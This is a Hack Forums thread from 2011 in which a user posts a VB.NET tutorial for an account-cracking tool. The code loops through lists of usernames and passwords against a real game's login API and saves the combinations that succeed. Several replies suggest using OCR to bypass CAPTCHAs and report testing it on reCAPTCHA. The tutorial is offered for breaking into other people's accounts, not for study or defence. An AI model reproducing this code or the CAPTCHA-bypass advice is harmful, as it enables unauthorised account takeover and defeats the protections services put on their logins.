Hack Forums
[.NET] [vb.net]How to make a simple Password cracker - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [vb.net]How to make a simple Password cracker (/showthread.php?tid=1138068)

Pages: Pages 1 2 3 4


[vb.net]How to make a simple Password cracker - Jadencide - Mar 17, 2011

First what you'll need is
  • 3 Listboxs

  • 3 labels

  • 1 Button

  • A Game to Crack/Site




Step 2 make your form like this:


[img]http://img43.imageshack.us/img43/5962/2ndth.png[/img]


Step 3 that lets add the code:
Code
Imports System.Threading
Public Class Form1
    Dim t1 As New System.Threading.Thread(AddressOf cracker) 'using threading so it doens't lag
    Public Sub cracker()
        For x = 0 To ListBox1.Items.Count - 1
            For y = 0 To ListBox2.Items.Count - 1
                ListBox1.SelectedIndex = x
                ListBox2.SelectedIndex = y
                Dim url As New Net.WebClient
                Dim str As String = url.DownloadString("https://apps.dxd.go.com/dxd/flashAPI/login?username=" & ListBox1.SelectedItem & "&password=" & ListBox2.SelectedItem & "&promotionName=Pirates%5FOnline%5FRegistration%5FDefault")
                If str.Contains("<success>1</success>") Then
                    ListBox3.Items.Add(ListBox1.SelectedItem & ":" & ListBox2.SelectedItem)
                    GoTo next1 ' so it doesn't keep cracking the cracked account ^_^
                Else
                    'failed loooool
                End If
            Next y
next1:
        Next x
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying error
        t1.Start() ' starts cracking thread
    End Sub
End Class

I'm using this game Pirates Online (shit game) and when the login fails the response on the page is "<error>LOGIN_FAILED</error>" but when you crack an account they throw this at you "<success>1</success>" plus all the account information. Click to see

I won't be teaching you how to get the urls to crack so don't ask lol :P

4th, add your test account plus fake accounts:
[img]http://img810.imageshack.us/img810/6268/4thm.png[/img]


Now run the Debug and Fire her UP!!!

Click Me to See Test Run! (Click to View)

Congratz! Your first password cracker! Ok no leechy now. This is my first tut so if its not up to standards give me a break :P



* - Air0x - Mar 18, 2011

Nice tut Jade, easy to understand aswell.


* - BaussHacker - Mar 18, 2011

That's a very simple bruteforce.
Good work thought :)

I would suggest you learn about OCR, so you can bypass captchas.

Also this guide is very explanationfull.
http://www.apathysketchpad.com/blog/2007/06/05/how-to-crack-captchas/


* - Jadencide - Mar 18, 2011

(Mar 18, 2011 05:25 AM)BaussHacker Wrote:  That's a very simple bruteforce.
Good work thought :)

I would suggest you learn about OCR, so you can bypass captchas.

Also this guide is very explanationfull.
http://www.apathysketchpad.com/blog/2007/06/05/how-to-crack-captchas/
Dictionary attack :P

Hmm could i apply this to recaptcha?



* - Ililillillilill - Mar 18, 2011

very nice job, thanks for the guide :)


* - ubbelol - Mar 18, 2011

(Mar 18, 2011 05:25 AM)BaussHacker Wrote:  That's a very simple bruteforce.
Good work thought :)

I would suggest you learn about OCR, so you can bypass captchas.

Also this guide is very explanationfull.
http://www.apathysketchpad.com/blog/2007/06/05/how-to-crack-captchas/

It's not a bruteforcer..

And isn't it you who are to learn/implement OCR? OP provided the basics, you keep building on it.


* - Jadencide - Mar 18, 2011

If anyone gets stumped, or needs a question answered. Ask away :)


* - jezebel - Mar 18, 2011

(Mar 18, 2011 01:45 PM)UbbeLoL Wrote:  It's not a bruteforcer..

And isn't it you who are to learn/implement OCR? OP provided the basics, you keep building on it.

You have a very good point sir. If I was any good at coding I would add on to it. But nice job on it. Keep up the good work.


* - Fake. - Mar 18, 2011

Code
Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying error
Bad coding practices are bad.


* - ident - Mar 18, 2011

(Mar 18, 2011 06:40 PM)Fake™ Wrote:  
Code
Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying error
Bad coding practices are bad.

First thing that was brought to my attention.


* - Fake. - Mar 18, 2011

(Mar 18, 2011 06:48 PM)ident Wrote:  First thing that was brought to my attention.

I would've thought the word illegal in the property was enough to give it away, but apparently not 😁


* - Jadencide - Mar 18, 2011

Like i said. Is using that bad pl0x?


* - Emily - Mar 18, 2011

Nice job on the tutorial, mate! This should help a lot of people.


* - BlackLayer - Mar 18, 2011

nice programmer 🎉🎉


* - Jash - Mar 19, 2011

I've tested OCR few minutes ago; It's having a hard time recognizing captcha from reCaptcha.